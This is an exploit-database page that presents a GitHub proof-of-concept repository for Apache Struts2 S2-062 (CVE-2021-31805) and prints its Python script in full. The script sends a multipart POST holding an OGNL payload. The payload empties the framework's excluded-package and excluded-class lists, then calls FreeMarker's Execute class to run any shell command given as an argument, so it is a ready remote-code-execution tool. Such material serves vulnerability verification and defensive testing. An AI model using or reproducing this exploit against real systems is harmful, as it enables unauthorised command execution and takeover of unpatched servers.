Exploit database

GH-ea824a699ece27e275a32b33a562496c

secnn/struts2_s2-062_cve-2021-31805

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-31805

8 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
secnn/struts2_s2-062_cve-2021-31805Revision 4ddd40eff56d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2021-31805_Shell.py

Python · 2,094 bytes
import requests
from bs4 import BeautifulSoup
import sys

head = {
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
    'Connection': 'close',
    'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF',
}

datas = '''------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r
Content-Disposition: form-data; name="id"\r
\r
%{\r
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + \r
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'shell_code'}))\r
}\r
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—\r
'''

datas = datas.encode()

def S2():
    requests.packages.urllib3.disable_warnings()
    html = requests.post(url,headers=head,data=datas.replace(b'shell_code',shell_code),verify=False)

if __name__ == '__main__':
    url = sys.argv[1]
    shell_code = sys.argv[2]
    shell_code = bytes(shell_code.encode())
    S2()